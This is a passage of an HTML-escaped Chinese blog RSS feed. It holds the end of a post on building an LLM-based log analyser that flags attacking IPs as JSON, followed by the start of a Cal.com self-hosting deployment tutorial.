&amp;quot;attack_count&amp;quot;:&amp;nbsp;47&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;],&amp;nbsp;&amp;nbsp;&amp;quot;normal_ips&amp;quot;:&amp;nbsp;[&amp;quot;10.0.0.1&amp;quot;,&amp;nbsp;&amp;quot;10.0.0.2&amp;quot;]}如果不存在攻击行为，输出：{&amp;nbsp;&amp;nbsp;&amp;quot;attackers&amp;quot;:&amp;nbsp;[],&amp;nbsp;&amp;nbsp;&amp;quot;normal_ips&amp;quot;:&amp;nbsp;[&amp;quot;所有去重后的IP列表&amp;quot;]}以下是日志内容：{日志内容}&lt;/pre&gt;&lt;/section&gt;&lt;section nodeleaf=&quot;&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;img data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260512164005_27961.png&quot; class=&quot;rich_pages wxw-img&quot; data-ratio=&quot;1.0431778929188256&quot; data-s=&quot;300,640&quot; data-type=&quot;png&quot; data-w=&quot;579&quot; type=&quot;block&quot; data-imgfileid=&quot;100014335&quot; data-aistatus=&quot;1&quot; data-original-style=&quot;null&quot; data-index=&quot;4&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260512164005_27961.png&quot; _width=&quot;579px&quot; alt=&quot;图片&quot; data-report-img-idx=&quot;1&quot; data-fail=&quot;0&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;vertical-align: bottom;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important;height: auto !important;visibility: visible !important;width: 579px !important&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-align: justify;text-wrap: wrap;background-color: rgb(255, 255, 255);user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;-webkit-tap-highlight-color: ;padding: 0px;outline: 0px;user-select: initial !important;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;demo 效果如下：&lt;/span&gt;&lt;/section&gt;&lt;section nodeleaf=&quot;&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;img data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260512164006_40226.png&quot; class=&quot;rich_pages wxw-img&quot; data-ratio=&quot;0.6850533807829181&quot; data-s=&quot;300,640&quot; data-type=&quot;png&quot; data-w=&quot;562&quot; type=&quot;block&quot; data-imgfileid=&quot;100014336&quot; data-aistatus=&quot;1&quot; data-original-style=&quot;null&quot; data-index=&quot;5&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260512164006_40226.png&quot; _width=&quot;562px&quot; alt=&quot;图片&quot; data-report-img-idx=&quot;2&quot; data-fail=&quot;0&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;vertical-align: bottom;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important;height: auto !important;visibility: visible !important;width: 562px !important&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-align: justify;text-wrap: wrap;background-color: rgb(255, 255, 255);user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;-webkit-tap-highlight-color: ;padding: 0px;outline: 0px;user-select: initial !important;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;实测效果：&lt;/span&gt;&lt;/section&gt;&lt;section nodeleaf=&quot;&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;img data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260512164007_83541.png&quot; class=&quot;rich_pages wxw-img&quot; data-ratio=&quot;1.2478184991273997&quot; data-s=&quot;300,640&quot; data-type=&quot;png&quot; data-w=&quot;573&quot; type=&quot;block&quot; data-imgfileid=&quot;100014337&quot; data-aistatus=&quot;1&quot; data-original-style=&quot;null&quot; data-index=&quot;6&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260512164007_83541.png&quot; _width=&quot;573px&quot; alt=&quot;图片&quot; data-report-img-idx=&quot;3&quot; data-fail=&quot;0&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;vertical-align: bottom;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important;height: auto !important;visibility: visible !important;width: 573px !important&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-align: justify;text-wrap: wrap;background-color: rgb(255, 255, 255);user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;-webkit-tap-highlight-color: ;padding: 0px;outline: 0px;user-select: initial !important;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;真实日志信息：&lt;/span&gt;&lt;/section&gt;&lt;section nodeleaf=&quot;&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;img data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260512164010_72602.png&quot; class=&quot;rich_pages wxw-img&quot; data-ratio=&quot;0.6509433962264151&quot; data-s=&quot;300,640&quot; data-type=&quot;png&quot; data-w=&quot;848&quot; type=&quot;block&quot; data-imgfileid=&quot;100014338&quot; data-aistatus=&quot;1&quot; data-original-style=&quot;null&quot; data-index=&quot;7&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260512164010_72602.png&quot; _width=&quot;677px&quot; alt=&quot;图片&quot; data-report-img-idx=&quot;4&quot; data-fail=&quot;0&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;vertical-align: bottom;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important;height: auto !important;visibility: visible !important;width: 677px !important&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-align: justify;text-wrap: wrap;background-color: rgb(255, 255, 255);user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;-webkit-tap-highlight-color: ;padding: 0px;outline: 0px;user-select: initial !important;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;完整软件实现提示词：&lt;/span&gt;&lt;/section&gt;&lt;section class=&quot;code-snippet__fix code-snippet__js&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 1000%;color: rgb(51, 51, 51);position: relative;background-color: rgba(0, 0, 0, 0.03);border: 1px solid rgb(240, 240, 240);border-radius: 2px;display: flex;line-height: 26px;font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;letter-spacing: 0.544px;text-align: justify;text-wrap: wrap;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;ul class=&quot;code-snippet__line-index code-snippet__js list-paddingleft-2&quot; style=&quot;list-style-type: none;&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre data-lang=&quot;cs&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-top: 0px;margin-bottom: 0px;padding: 1em 1em 1em 0px;outline: 0px;max-width: 1000%;overflow-x: auto;white-space: normal;flex: 1 1 0%;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;使用&amp;nbsp;python&amp;nbsp;实现一个基于大模型的日志分析程序，大模型的信息如下：&amp;nbsp;&amp;nbsp;api-key:&amp;nbsp;&amp;nbsp;your-key&amp;nbsp;&amp;nbsp;open-ai&amp;nbsp;格式的&amp;nbsp;API&amp;nbsp;base&amp;nbsp;url&amp;nbsp;:&amp;nbsp;&amp;nbsp;https://ark.cn-beijing.volces.com/api/coding/v3&amp;nbsp;&amp;nbsp;模型：ark-code-latest提示词：。。。最终程序接受一个或多个文件，输出&amp;nbsp;json&amp;nbsp;格式的数据&lt;/pre&gt;&lt;/section&gt;&lt;section nodeleaf=&quot;&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;img data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260512164012_82586.png&quot; class=&quot;rich_pages wxw-img&quot; data-ratio=&quot;0.7627586206896552&quot; data-s=&quot;300,640&quot; data-type=&quot;png&quot; data-w=&quot;725&quot; type=&quot;block&quot; data-imgfileid=&quot;100014339&quot; data-aistatus=&quot;1&quot; data-original-style=&quot;null&quot; data-index=&quot;8&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260512164012_82586.png&quot; _width=&quot;677px&quot; alt=&quot;图片&quot; data-report-img-idx=&quot;5&quot; data-fail=&quot;0&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;vertical-align: bottom;user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important;height: auto !important;visibility: visible !important;width: 677px !important&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);padding: 0px;outline: 0px;max-width: 100%;color: rgba(0, 0, 0, 0.9);font-family: &amp;#39;PingFang SC&amp;#39;, system-ui, -apple-system, BlinkMacSystemFont, &amp;#39;Helvetica Neue&amp;#39;, &amp;#39;Hiragino Sans GB&amp;#39;, &amp;#39;Microsoft YaHei UI&amp;#39;, &amp;#39;Microsoft YaHei&amp;#39;, Arial, sans-serif;font-size: 17px;letter-spacing: 0.544px;text-align: justify;text-wrap: wrap;background-color: rgb(255, 255, 255);user-select: initial !important;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;-webkit-tap-highlight-color: ;padding: 0px;outline: 0px;user-select: initial !important;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important&quot;&gt;全文完。&lt;/span&gt;&lt;/section&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Tue, 12 May 2026 16:39:34 +0800</pubDate></item><item><title>别再花钱买日程管理！开源神器Cal.com保姆级部署教程</title><link>https://www.kinber.cn/post/6542.html</link><description>&lt;p style=&quot;margin-top: 0px; margin-bottom: 17px; padding: 0px; line-height: 28px; color: rgb(51, 51, 51); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;strong&gt;Cal.com 是一个开源免费的日程管理工具，支持多平台集成，适合个人及团队使用，可通过官方文档完成部署。&lt;/strong&gt;&amp;nbsp;以下为详细介绍及部署指南：&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #333333; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;项目概述&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;名称&lt;/strong&gt;：Cal.com（原Calendso）&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;项目地址&lt;/strong&gt;：&lt;a href=&quot;https://github.com/calcom/cal.com&quot; title=&quot;https://github.com/calcom/cal.com&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot; style=&quot;color: rgb(63, 136, 191);&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://github.com/calcom/cal.com&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot; style=&quot;color: rgb(63, 136, 191);&quot;&gt;https://github.com/calcom/cal.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;核心功能&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;padding: 0px; line-height: 28px; margin-top: 0px !important; margin-bottom: 0px !important;&quot;&gt;对标Calendly，支持商务会议、课程预约、家庭聚餐等场景。&lt;/p&gt;&lt;p style=&quot;padding: 0px; line-height: 28px; margin-top: 0px !important; margin-bottom: 0px !important;&quot;&gt;集成Outlook/Google日历，自动同步双方日程，避免冲突。&lt;/p&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 0px; padding: 0px; line-height: 28px;&quot;&gt;完全开源，数据存储在自有服务器，保障隐私安全。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 17px; padding: 0px; line-height: 28px; color: rgb(51, 51, 51); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a href=&quot;https://iknow-pic.cdn.bcebos.com/4afbfbedab64034f1a0c768abdc379310b551d7c&quot; target=&quot;_blank&quot; title=&quot;点击查看大图&quot; class=&quot;ikqb_img_alink&quot; rel=&quot;nofollow noopener&quot; style=&quot;color: rgb(63, 136, 191); display: inline-block; position: relative; margin-left: 352.5px; transform: translate(-50%); vertical-align: bottom;&quot;&gt;&lt;img loading=&quot;lazy&quot; class=&quot;ikqb_img&quot; src=&quot;https://iknow-pic.cdn.bcebos.com/4afbfbedab64034f1a0c768abdc379310b551d7c?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto&quot; esrc=&quot;https://iknow-pic.cdn.bcebos.com/4afbfbedab64034f1a0c768abdc379310b551d7c&quot; style=&quot;border: 0px; max-height: 340px; max-width: 500px; border-radius: 6px; vertical-align: bottom; display: block; cursor: auto;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #333333; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;四大核心优势&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;完全开源掌控&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 0px; padding: 0px; line-height: 28px;&quot;&gt;代码透明，数据自主管理，避免第三方平台隐私泄露风险。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;多平台深度整合&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 0px; padding: 0px; line-height: 28px;&quot;&gt;支持Outlook、Google、Zoom等20+主流平台，覆盖日历、视频会议等场景。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;高颜值界面&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 0px; padding: 0px; line-height: 28px;&quot;&gt;Material Design风格设计，支持中文等多语言，操作直观。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;智能防鸽机制&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 0px; padding: 0px; line-height: 28px;&quot;&gt;自动发送邮件提醒，减少会议缺席率。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style=&quot;color: #333333; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;部署教程&lt;/span&gt;&lt;/p&gt;&lt;ol style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p style=&quot;margin-top: 0px; padding: 0px; line-height: 28px; margin-bottom: 0px !important;&quot;&gt;&lt;strong&gt;准备环境&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;padding: 0px; line-height: 28px; margin-top: 0px !important; margin-bottom: 0px !important;&quot;&gt;需自行部署服务器（如VPS或本地环境），推荐使用Docker容器化技术。&lt;/p&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 0px; padding: 0px; line-height: 28px;&quot;&gt;&lt;strong&gt;注意&lt;/strong&gt;：官方不推荐使用dockge，建议参考官方Docker部署文档：&lt;a href=&quot;https://github.com/calcom/docker&quot; title=&quot;https://github.com/calcom/docker&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot; style=&quot;color: rgb(63, 136, 191);&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://github.com/calcom/docker&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot; style=&quot;color: rgb(63, 136, 191);&quot;&gt;https://github.com/calcom/docker&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;margin-top: 0px; padding: 0px; line-height: 28px; margin-bottom: 0px !important;&quot;&gt;&lt;strong&gt;关键步骤&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;padding: 0px; line-height: 28px; margin-top: 0px !important; margin-bottom: 0px !important;&quot;&gt;&lt;strong&gt;克隆仓库&lt;/strong&gt;：获取Cal.com完整代码库。&lt;/p&gt;&lt;p style=&quot;padding: 0px; line-height: 28px; margin-top: 0px !important; margin-bottom: 0px !important;&quot;&gt;&lt;strong&gt;配置环境变量&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;padding: 0px; line-height: 28px; margin-top: 0px !important; margin-bottom: 0px !important;&quot;&gt;NEXTAUTH_SECRET：使用OpenSSL生成密钥（避免卡在启动界面）。&lt;/p&gt;&lt;p style=&quot;padding: 0px; line-height: 28px; margin-top: 0px !important; margin-bottom: 0px !important;&quot;&gt;邮件服务配置：测试端口465是否开放，推荐使用企业邮箱。&lt;/p&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 0px; padding: 0px; line-height: 28px;&quot;&gt;&lt;strong&gt;反向代理设置&lt;/strong&gt;：确保/api/v2路径正确，避免API报错404。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 17px; padding: 0px; line-height: 28px; color: rgb(51, 51, 51); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a href=&quot;https://iknow-pic.cdn.bcebos.com/b64543a98226cffc73eb0b3eab014a90f703ea7d&quot; target=&quot;_blank&quot; title=&quot;点击查看大图&quot; class=&quot;ikqb_img_alink&quot; rel=&quot;nofollow noopener&quot; style=&quot;color: rgb(63, 136, 191); display: inline-block; position: relative; margin-left: 352.5px; transform: translate(-50%); vertical-align: bottom;&quot;&gt;&lt;img loading=&quot;lazy&quot; class=&quot;ikqb_img&quot; src=&quot;https://iknow-pic.cdn.bcebos.com/b64543a98226cffc73eb0b3eab014a90f703ea7d?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto&quot; esrc=&quot;https://iknow-pic.cdn.bcebos.com/b64543a98226cffc73eb0b3eab014a90f703ea7d&quot; style=&quot;border: 0px; max-height: 340px; max-width: 500px; border-radius: 6px; vertical-align: bottom; display: block; cursor: auto;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #333333; font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: #FFFFFF;&quot;&gt;初始化配置&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 17px; padding: 0px; line-height: 28px; color: rgb(51, 51, 51); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;部署成功后访问域名，按向导完成以下步骤：&lt;/p&gt;&lt;ol style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;创建超级管理员&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 0px; padding: 0px; line-height: 28px;&quot;&gt;设置账号密码，用于后续系统管理。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 17px; padding: 0px; line-height: 28px; color: rgb(51, 51, 51); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a href=&quot;https://iknow-pic.cdn.bcebos.com/a8773912b31bb0518fe507a4247adab44bede07d&quot; target=&quot;_blank&quot; title=&quot;点击查看大图&quot; class=&quot;ikqb_img_alink&quot; rel=&quot;nofollow noopener&quot; style=&quot;color: rgb(63, 136, 191); display: inline-block; position: relative; margin-left: 352.5px; transform: translate(-50%); vertical-align: bottom;&quot;&gt;&lt;img loading=&quot;lazy&quot; class=&quot;ikqb_img&quot; src=&quot;https://iknow-pic.cdn.bcebos.com/a8773912b31bb0518fe507a4247adab44bede07d?x-bce-process=image%2Fresize%2Cm_lfit%2Cw_600%2Ch_800%2Climit_1%2Fquality%2Cq_85%2Fformat%2Cf_auto&quot; esrc=&quot;https://iknow-pic.cdn.bcebos.com/a8773912b31bb0518fe507a4247adab44bede07d&quot; style=&quot;border: 0px; max-height: 340px; max-width: 500px; border-radius: 6px; vertical-align: bottom; display: block; cursor: auto;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;ol style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;绑定日历服务&lt;/strong&gt;：&lt;/p&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 0px; padding: 0px; line-height: 28px;&quot;&gt;强烈推荐集成Outlook账号，同步企业日程更高效。&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p style=&quot;margin-top: 17px; margin-bottom: 17px; padding: 0px; line-height: 28px; color: rgb(51, 51, 51); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, arial, 宋体, sans-serif, tahoma; font-size: 16px; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;a href=&quot;https://iknow-pic.cdn.bcebos.com/377adab44aed2e73f62832a09501a18b86d6fa7d&quot; target=&quot;_blank&quot; title=&quot;点击查看大图&quot; class=&quot;ikqb_img_alink&quot; rel=&quot;nofollow noopener&quot; style=&quot;color: rgb(63, 136, 191); display: inline-block; position: relative; margin-left: 